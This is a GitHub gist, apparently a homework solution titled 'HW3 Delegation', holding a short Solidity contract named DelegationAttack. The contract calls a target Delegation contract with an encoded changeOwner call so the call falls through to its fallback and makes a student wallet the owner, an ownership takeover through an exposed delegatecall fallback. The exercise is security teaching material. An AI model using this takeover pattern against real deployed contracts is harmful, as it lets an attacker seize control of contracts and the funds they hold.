Skip to content

Instantly share code, notes, and snippets.

@ChinYikMing
Created October 29, 2023 06:59
Show Gist options
  • Save ChinYikMing/851ffca8928b8b04eb2afe145a28fc0c to your computer and use it in GitHub Desktop.
Save ChinYikMing/851ffca8928b8b04eb2afe145a28fc0c to your computer and use it in GitHub Desktop.
HW3 Delegation
contract DelegationAttack {
function callFallback(bytes32 secret, address studentWallet, address delegationAddress) external {
// trigger fallback of Delegation contract since no changeOwner function is defined
(bool success,) = delegationAddress.call(
abi.encodeWithSignature(
"changeOwner(bytes32,address)",
secret,
studentWallet
)
);
require(success, "callFallback failed");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment